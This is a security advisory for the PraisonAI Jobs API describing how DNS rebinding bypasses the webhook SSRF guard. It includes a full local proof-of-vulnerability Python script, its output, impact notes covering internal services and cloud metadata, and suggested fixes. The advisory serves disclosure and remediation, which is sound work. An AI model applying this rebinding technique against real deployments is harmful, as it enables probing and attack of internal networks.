GHSA-RJVW-7VVW-549V

Vulnerability from github – Published: 2026-06-18 13:57 – Updated: 2026-06-18 13:57
VLAI
Summary
PraisonAI: Jobs webhook SSRF protection bypass via DNS rebinding
Details

Jobs webhook SSRF protection bypass via DNS rebinding

Summary

PraisonAI's Async Jobs API validates webhook_url when a job request is parsed and again when the internal Job object is constructed. That validation blocks direct loopback/private targets, but it is not bound to the later network request. When a job completes, _send_webhook() passes the original hostname to httpx.AsyncClient.post() with no send-time validation, IP pinning, or guarded transport.

An attacker-controlled hostname can therefore resolve to a public IP during Pydantic validation and later resolve to loopback/private/cloud-metadata infrastructure during webhook delivery. This bypasses the intended SSRF guard in current supported releases.

This appears to be an incomplete fix / patch bypass for GHSA-8frj-8q3m-xhgm ("Server-Side Request Forgery via Unvalidated webhook_url in Jobs API"). I defer to maintainers on whether this should be a new advisory/CVE or an amendment to the prior advisory, but current supported releases still appear affected.

Affected Component

Package:

praisonai

Files:

src/praisonai/praisonai/jobs/models.py
src/praisonai/praisonai/jobs/executor.py
src/praisonai/praisonai/jobs/router.py

Relevant code paths:

JobSubmitRequest.validate_webhook_url()
Job.validate_webhook_url()
JobExecutor._send_webhook()
POST /api/v1/runs

Affected Versions

Validated affected:

  • v4.5.126 (f00763937bf7f4d091e84533692fc0576fca9b99);
  • v4.5.128 (b4e3a8a8);
  • v4.6.56 (d3c4a2af);
  • v4.6.57 (e90d92231853161ad931f3498da57651a9f8b528);
  • current main (2f9677abb2ea68eab864ee8b6a828fd0141612e1, v4.6.57-4-g2f9677ab).

Suggested affected range for maintainer confirmation:

>= 4.5.126, <= 4.6.57

No patched version is known to me at submission time.

v4.5.124 and earlier are covered by the older unvalidated-webhook advisory. This report is scoped to patched-era releases where direct loopback/private webhook URLs are rejected but DNS rebinding still bypasses the guard.

Root Cause

Current validation is a time-of-check/time-of-use boundary:

  1. JobSubmitRequest.webhook_url is validated with urlparse() and socket.gethostbyname().
  2. The resolved address is rejected when it is private, loopback, link-local, or multicast.
  3. The original URL string is stored on the Job.
  4. After job completion, _send_webhook() creates a fresh httpx.AsyncClient and POSTs to the original URL.
  5. httpx resolves the hostname again. There is no revalidation of the address that is actually connected to.

The first DNS answer is therefore trusted for a later, independent DNS lookup. An attacker who controls DNS for the webhook hostname can return a public address during validation and an internal address during delivery.

Local Reproduction

The PoV is local-only. It starts a loopback HTTP server, monkeypatches resolver behavior in-process, and uses the real PraisonAI Job validator plus JobExecutor._send_webhook() sender.

Run from a PraisonAI checkout:

env PYTHONPATH=src/praisonai python3 poc_jobs_webhook_dns_rebinding_ssrf.py

Observed output on current main:

DIRECT_LOOPBACK_BLOCKED: {"Job": true, "JobSubmitRequest": true}
ACCEPTED_WEBHOOK_URL: http://rebind.test:<port>/hook
INTERNAL_SERVER_HIT: true
INTERNAL_REQUEST_HOST: rebind.test:<port>
INTERNAL_REQUEST_PATH: /hook
WEBHOOK_PAYLOAD_KEYS: completed_at,duration_seconds,error,job_id,result,status
WEBHOOK_PAYLOAD_STATUS: succeeded
PRAI-CAND-005 CONFIRMED: Jobs webhook validation is bypassed by DNS rebinding

The direct control proves that the current guard is meant to reject loopback webhook destinations. The rebind case proves the same blocked destination class is reached when the hostname changes between validation and delivery.

Full Local PoV Script

#!/usr/bin/env python3
"""Local PoV for PraisonAI Jobs webhook DNS-rebinding SSRF.

The PoV uses only loopback services. It models an attacker-controlled hostname
that resolves to a public IP during PraisonAI's Pydantic validation, then
resolves to loopback when the async webhook sender later opens the connection.
"""

from __future__ import annotations

import asyncio
import json
import queue
import socket
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
from typing import Any

from praisonai.jobs.executor import JobExecutor
from praisonai.jobs.models import Job, JobSubmitRequest


ATTACKER_HOST = "rebind.test"
PUBLIC_IP = "93.184.216.34"


class InternalHandler(BaseHTTPRequestHandler):
    def do_POST(self) -> None:  # noqa: N802
        length = int(self.headers.get("content-length", "0"))
        body = self.rfile.read(length)
        self.server.received.put(  # type: ignore[attr-defined]
            {
                "path": self.path,
                "host": self.headers.get("host"),
                "body": body.decode("utf-8", "replace"),
            }
        )
        self.send_response(204)
        self.end_headers()

    def log_message(self, *_args: Any) -> None:
        return


def assert_direct_loopback_blocked(port: int) -> None:
    blocked = {}
    direct_url = f"http://127.0.0.1:{port}/hook"
    for model in (JobSubmitRequest, Job):
        try:
            model(prompt="x", webhook_url=direct_url)
            blocked[model.__name__] = False
        except Exception:
            blocked[model.__name__] = True

    print("DIRECT_LOOPBACK_BLOCKED:", json.dumps(blocked, sort_keys=True))
    if not all(blocked.values()):
        raise SystemExit("control failed: direct loopback webhook URL was accepted")


def build_validated_job(port: int) -> Job:
    original_gethostbyname = socket.gethostbyname

    def validation_gethostbyname(host: str) -> str:
        if host == ATTACKER_HOST:
            return PUBLIC_IP
        return original_gethostbyname(host)

    socket.gethostbyname = validation_gethostbyname
    try:
        webhook_url = f"http://{ATTACKER_HOST}:{port}/hook"
        request = JobSubmitRequest(prompt="x", webhook_url=webhook_url)
        job = Job(prompt=request.prompt, webhook_url=request.webhook_url)
        job.succeed({"pov": "job result sent to webhook"})
        return job
    finally:
        socket.gethostbyname = original_gethostbyname


async def send_after_rebind(job: Job, port: int) -> None:
    original_getaddrinfo = socket.getaddrinfo

    def send_getaddrinfo(host: Any, port_arg: int, *args: Any, **kwargs: Any):
        normalized_host = host.decode() if isinstance(host, bytes) else host
        if normalized_host == ATTACKER_HOST:
            return [
                (
                    socket.AF_INET,
                    socket.SOCK_STREAM,
                    socket.IPPROTO_TCP,
                    "",
                    ("127.0.0.1", port_arg),
                )
            ]
        return original_getaddrinfo(host, port_arg, *args, **kwargs)

    socket.getaddrinfo = send_getaddrinfo
    try:
        await JobExecutor(store=None)._send_webhook(job)  # type: ignore[arg-type]
    finally:
        socket.getaddrinfo = original_getaddrinfo


def main() -> int:
    received: queue.Queue[dict[str, str]] = queue.Queue()
    server = HTTPServer(("127.0.0.1", 0), InternalHandler)
    server.received = received  # type: ignore[attr-defined]
    port = int(server.server_port)
    thread = threading.Thread(target=server.handle_request, daemon=True)
    thread.start()

    try:
        assert_direct_loopback_blocked(port)
        job = build_validated_job(port)
        print("ACCEPTED_WEBHOOK_URL:", job.webhook_url)
        asyncio.run(send_after_rebind(job, port))
    finally:
        server.server_close()

    try:
        hit = received.get_nowait()
    except queue.Empty:
        raise SystemExit("bypass failed: loopback-only webhook receiver was not hit")

    payload = json.loads(hit["body"])
    print("INTERNAL_SERVER_HIT: true")
    print("INTERNAL_REQUEST_HOST:", hit["host"])
    print("INTERNAL_REQUEST_PATH:", hit["path"])
    print("WEBHOOK_PAYLOAD_KEYS:", ",".join(sorted(payload)))
    print("WEBHOOK_PAYLOAD_STATUS:", payload.get("status"))

    if hit["host"] != f"{ATTACKER_HOST}:{port}":
        raise SystemExit("unexpected host header")
    if payload.get("status") != "succeeded":
        raise SystemExit("unexpected webhook payload")

    print("PRAI-CAND-005 CONFIRMED: Jobs webhook validation is bypassed by DNS rebinding")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

Intended-Behavior Validation

PraisonAI's Async Jobs documentation describes webhook_url as the completion callback URL for submitted jobs. The deploy API docs list webhooks as a key feature and state that the async jobs API does not require authentication by default, with authentication left to server deployment configuration.

The code also proves the intended safety boundary: both JobSubmitRequest and Job currently reject direct http://127.0.0.1:<port>/... webhook URLs. The PoV does not rely on local webhooks being intentionally allowed; it demonstrates that a blocked local target becomes reachable after the validation-to-use DNS transition.

Impact

If an attacker can submit jobs to a PraisonAI Jobs API deployment and choose webhook_url, they can cause the PraisonAI host to send POST requests to loopback, private-network, or cloud metadata endpoints reachable from that host.

Practical impact includes:

  • blind interaction with internal HTTP services;
  • internal host/port reachability probing via timing and webhook error behavior;
  • POSTing attacker-controlled job result payloads to internal APIs with weak request validation;
  • cloud metadata interaction where metadata endpoints accept the request method and the deployment network permits access.

This report does not claim response-body disclosure, RCE, or live credential theft without deployment-specific internal-service behavior. The SSRF primitive is still security-relevant because webhook delivery crosses a network boundary that current code explicitly tries to block.

Severity

Suggested severity: High for network-reachable Jobs API deployments where job submission is unauthenticated or attacker-accessible.

If maintainers model the Jobs API as loopback-only or authenticated in the affected deployment, severity may reasonably be reduced. I kept the primary rating aligned with the prior Jobs webhook SSRF advisory because PraisonAI's public docs state that authentication is not required by default and the same webhook sink remains reachable.

Suggested Fix

  • Move SSRF validation to the send path immediately before opening the outbound connection.
  • Resolve all candidate addresses with socket.getaddrinfo(), not only the first IPv4 answer from gethostbyname().
  • Reject loopback, private, link-local, multicast, reserved, unspecified, and cloud metadata address ranges for every resolved address.
  • Pin the validated address to the actual connection, or use a guarded HTTP transport/proxy that validates the destination after DNS resolution and before connect.
  • Consider making Jobs API authentication mandatory by default for non-loopback binds, or require explicit opt-in to unauthenticated job submission.
  • Add regression tests for direct loopback rejection, DNS rebind from public to loopback, IPv6/private AAAA records with public A records, and allowed public webhooks.
Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.6.58"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.5.126"
            },
            {
              "fixed": "4.6.59"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-367",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T13:57:20Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "# Jobs webhook SSRF protection bypass via DNS rebinding\n\n## Summary\n\nPraisonAI\u0027s Async Jobs API validates `webhook_url` when a job request is parsed\nand again when the internal `Job` object is constructed. That validation blocks\ndirect loopback/private targets, but it is not bound to the later network\nrequest. When a job completes, `_send_webhook()` passes the original hostname to\n`httpx.AsyncClient.post()` with no send-time validation, IP pinning, or guarded\ntransport.\n\nAn attacker-controlled hostname can therefore resolve to a public IP during\nPydantic validation and later resolve to loopback/private/cloud-metadata\ninfrastructure during webhook delivery. This bypasses the intended SSRF guard in\ncurrent supported releases.\n\nThis appears to be an incomplete fix / patch bypass for `GHSA-8frj-8q3m-xhgm`\n(\"Server-Side Request Forgery via Unvalidated webhook_url in Jobs API\"). I defer\nto maintainers on whether this should be a new advisory/CVE or an amendment to\nthe prior advisory, but current supported releases still appear affected.\n\n## Affected Component\n\nPackage:\n\n```text\npraisonai\n```\n\nFiles:\n\n```text\nsrc/praisonai/praisonai/jobs/models.py\nsrc/praisonai/praisonai/jobs/executor.py\nsrc/praisonai/praisonai/jobs/router.py\n```\n\nRelevant code paths:\n\n```text\nJobSubmitRequest.validate_webhook_url()\nJob.validate_webhook_url()\nJobExecutor._send_webhook()\nPOST /api/v1/runs\n```\n\n## Affected Versions\n\nValidated affected:\n\n- `v4.5.126` (`f00763937bf7f4d091e84533692fc0576fca9b99`);\n- `v4.5.128` (`b4e3a8a8`);\n- `v4.6.56` (`d3c4a2af`);\n- `v4.6.57` (`e90d92231853161ad931f3498da57651a9f8b528`);\n- current `main` (`2f9677abb2ea68eab864ee8b6a828fd0141612e1`,\n  `v4.6.57-4-g2f9677ab`).\n\nSuggested affected range for maintainer confirmation:\n\n```text\n\u003e= 4.5.126, \u003c= 4.6.57\n```\n\nNo patched version is known to me at submission time.\n\n`v4.5.124` and earlier are covered by the older unvalidated-webhook advisory.\nThis report is scoped to patched-era releases where direct loopback/private\nwebhook URLs are rejected but DNS rebinding still bypasses the guard.\n\n## Root Cause\n\nCurrent validation is a time-of-check/time-of-use boundary:\n\n1. `JobSubmitRequest.webhook_url` is validated with `urlparse()` and\n   `socket.gethostbyname()`.\n2. The resolved address is rejected when it is private, loopback, link-local, or\n   multicast.\n3. The original URL string is stored on the `Job`.\n4. After job completion, `_send_webhook()` creates a fresh `httpx.AsyncClient`\n   and POSTs to the original URL.\n5. `httpx` resolves the hostname again. There is no revalidation of the address\n   that is actually connected to.\n\nThe first DNS answer is therefore trusted for a later, independent DNS lookup.\nAn attacker who controls DNS for the webhook hostname can return a public\naddress during validation and an internal address during delivery.\n\n## Local Reproduction\n\nThe PoV is local-only. It starts a loopback HTTP server, monkeypatches resolver\nbehavior in-process, and uses the real PraisonAI `Job` validator plus\n`JobExecutor._send_webhook()` sender.\n\nRun from a PraisonAI checkout:\n\n```fish\nenv PYTHONPATH=src/praisonai python3 poc_jobs_webhook_dns_rebinding_ssrf.py\n```\n\nObserved output on current `main`:\n\n```text\nDIRECT_LOOPBACK_BLOCKED: {\"Job\": true, \"JobSubmitRequest\": true}\nACCEPTED_WEBHOOK_URL: http://rebind.test:\u003cport\u003e/hook\nINTERNAL_SERVER_HIT: true\nINTERNAL_REQUEST_HOST: rebind.test:\u003cport\u003e\nINTERNAL_REQUEST_PATH: /hook\nWEBHOOK_PAYLOAD_KEYS: completed_at,duration_seconds,error,job_id,result,status\nWEBHOOK_PAYLOAD_STATUS: succeeded\nPRAI-CAND-005 CONFIRMED: Jobs webhook validation is bypassed by DNS rebinding\n```\n\nThe direct control proves that the current guard is meant to reject loopback\nwebhook destinations. The rebind case proves the same blocked destination class\nis reached when the hostname changes between validation and delivery.\n\n## Full Local PoV Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"Local PoV for PraisonAI Jobs webhook DNS-rebinding SSRF.\n\nThe PoV uses only loopback services. It models an attacker-controlled hostname\nthat resolves to a public IP during PraisonAI\u0027s Pydantic validation, then\nresolves to loopback when the async webhook sender later opens the connection.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport asyncio\nimport json\nimport queue\nimport socket\nimport threading\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom typing import Any\n\nfrom praisonai.jobs.executor import JobExecutor\nfrom praisonai.jobs.models import Job, JobSubmitRequest\n\n\nATTACKER_HOST = \"rebind.test\"\nPUBLIC_IP = \"93.184.216.34\"\n\n\nclass InternalHandler(BaseHTTPRequestHandler):\n    def do_POST(self) -\u003e None:  # noqa: N802\n        length = int(self.headers.get(\"content-length\", \"0\"))\n        body = self.rfile.read(length)\n        self.server.received.put(  # type: ignore[attr-defined]\n            {\n                \"path\": self.path,\n                \"host\": self.headers.get(\"host\"),\n                \"body\": body.decode(\"utf-8\", \"replace\"),\n            }\n        )\n        self.send_response(204)\n        self.end_headers()\n\n    def log_message(self, *_args: Any) -\u003e None:\n        return\n\n\ndef assert_direct_loopback_blocked(port: int) -\u003e None:\n    blocked = {}\n    direct_url = f\"http://127.0.0.1:{port}/hook\"\n    for model in (JobSubmitRequest, Job):\n        try:\n            model(prompt=\"x\", webhook_url=direct_url)\n            blocked[model.__name__] = False\n        except Exception:\n            blocked[model.__name__] = True\n\n    print(\"DIRECT_LOOPBACK_BLOCKED:\", json.dumps(blocked, sort_keys=True))\n    if not all(blocked.values()):\n        raise SystemExit(\"control failed: direct loopback webhook URL was accepted\")\n\n\ndef build_validated_job(port: int) -\u003e Job:\n    original_gethostbyname = socket.gethostbyname\n\n    def validation_gethostbyname(host: str) -\u003e str:\n        if host == ATTACKER_HOST:\n            return PUBLIC_IP\n        return original_gethostbyname(host)\n\n    socket.gethostbyname = validation_gethostbyname\n    try:\n        webhook_url = f\"http://{ATTACKER_HOST}:{port}/hook\"\n        request = JobSubmitRequest(prompt=\"x\", webhook_url=webhook_url)\n        job = Job(prompt=request.prompt, webhook_url=request.webhook_url)\n        job.succeed({\"pov\": \"job result sent to webhook\"})\n        return job\n    finally:\n        socket.gethostbyname = original_gethostbyname\n\n\nasync def send_after_rebind(job: Job, port: int) -\u003e None:\n    original_getaddrinfo = socket.getaddrinfo\n\n    def send_getaddrinfo(host: Any, port_arg: int, *args: Any, **kwargs: Any):\n        normalized_host = host.decode() if isinstance(host, bytes) else host\n        if normalized_host == ATTACKER_HOST:\n            return [\n                (\n                    socket.AF_INET,\n                    socket.SOCK_STREAM,\n                    socket.IPPROTO_TCP,\n                    \"\",\n                    (\"127.0.0.1\", port_arg),\n                )\n            ]\n        return original_getaddrinfo(host, port_arg, *args, **kwargs)\n\n    socket.getaddrinfo = send_getaddrinfo\n    try:\n        await JobExecutor(store=None)._send_webhook(job)  # type: ignore[arg-type]\n    finally:\n        socket.getaddrinfo = original_getaddrinfo\n\n\ndef main() -\u003e int:\n    received: queue.Queue[dict[str, str]] = queue.Queue()\n    server = HTTPServer((\"127.0.0.1\", 0), InternalHandler)\n    server.received = received  # type: ignore[attr-defined]\n    port = int(server.server_port)\n    thread = threading.Thread(target=server.handle_request, daemon=True)\n    thread.start()\n\n    try:\n        assert_direct_loopback_blocked(port)\n        job = build_validated_job(port)\n        print(\"ACCEPTED_WEBHOOK_URL:\", job.webhook_url)\n        asyncio.run(send_after_rebind(job, port))\n    finally:\n        server.server_close()\n\n    try:\n        hit = received.get_nowait()\n    except queue.Empty:\n        raise SystemExit(\"bypass failed: loopback-only webhook receiver was not hit\")\n\n    payload = json.loads(hit[\"body\"])\n    print(\"INTERNAL_SERVER_HIT: true\")\n    print(\"INTERNAL_REQUEST_HOST:\", hit[\"host\"])\n    print(\"INTERNAL_REQUEST_PATH:\", hit[\"path\"])\n    print(\"WEBHOOK_PAYLOAD_KEYS:\", \",\".join(sorted(payload)))\n    print(\"WEBHOOK_PAYLOAD_STATUS:\", payload.get(\"status\"))\n\n    if hit[\"host\"] != f\"{ATTACKER_HOST}:{port}\":\n        raise SystemExit(\"unexpected host header\")\n    if payload.get(\"status\") != \"succeeded\":\n        raise SystemExit(\"unexpected webhook payload\")\n\n    print(\"PRAI-CAND-005 CONFIRMED: Jobs webhook validation is bypassed by DNS rebinding\")\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\n## Intended-Behavior Validation\n\nPraisonAI\u0027s Async Jobs documentation describes `webhook_url` as the completion\ncallback URL for submitted jobs. The deploy API docs list webhooks as a key\nfeature and state that the async jobs API does not require authentication by\ndefault, with authentication left to server deployment configuration.\n\nThe code also proves the intended safety boundary: both `JobSubmitRequest` and\n`Job` currently reject direct `http://127.0.0.1:\u003cport\u003e/...` webhook URLs. The\nPoV does not rely on local webhooks being intentionally allowed; it demonstrates\nthat a blocked local target becomes reachable after the validation-to-use DNS\ntransition.\n\n## Impact\n\nIf an attacker can submit jobs to a PraisonAI Jobs API deployment and choose\n`webhook_url`, they can cause the PraisonAI host to send POST requests to\nloopback, private-network, or cloud metadata endpoints reachable from that host.\n\nPractical impact includes:\n\n- blind interaction with internal HTTP services;\n- internal host/port reachability probing via timing and webhook error behavior;\n- POSTing attacker-controlled job result payloads to internal APIs with weak\n  request validation;\n- cloud metadata interaction where metadata endpoints accept the request method\n  and the deployment network permits access.\n\nThis report does not claim response-body disclosure, RCE, or live credential\ntheft without deployment-specific internal-service behavior. The SSRF primitive\nis still security-relevant because webhook delivery crosses a network boundary\nthat current code explicitly tries to block.\n\n## Severity\n\nSuggested severity: High for network-reachable Jobs API deployments where job\nsubmission is unauthenticated or attacker-accessible.\n\nIf maintainers model the Jobs API as loopback-only or authenticated in the\naffected deployment, severity may reasonably be reduced. I kept the primary\nrating aligned with the prior Jobs webhook SSRF advisory because PraisonAI\u0027s\npublic docs state that authentication is not required by default and the same\nwebhook sink remains reachable.\n\n## Suggested Fix\n\n- Move SSRF validation to the send path immediately before opening the outbound\n  connection.\n- Resolve all candidate addresses with `socket.getaddrinfo()`, not only the\n  first IPv4 answer from `gethostbyname()`.\n- Reject loopback, private, link-local, multicast, reserved, unspecified, and\n  cloud metadata address ranges for every resolved address.\n- Pin the validated address to the actual connection, or use a guarded HTTP\n  transport/proxy that validates the destination after DNS resolution and before\n  connect.\n- Consider making Jobs API authentication mandatory by default for non-loopback\n  binds, or require explicit opt-in to unauthenticated job submission.\n- Add regression tests for direct loopback rejection, DNS rebind from public to\n  loopback, IPv6/private AAAA records with public A records, and allowed public\n  webhooks.",
  "id": "GHSA-rjvw-7vvw-549v",
  "modified": "2026-06-18T13:57:20Z",
  "published": "2026-06-18T13:57:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rjvw-7vvw-549v"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: Jobs webhook SSRF protection bypass via DNS rebinding"
}



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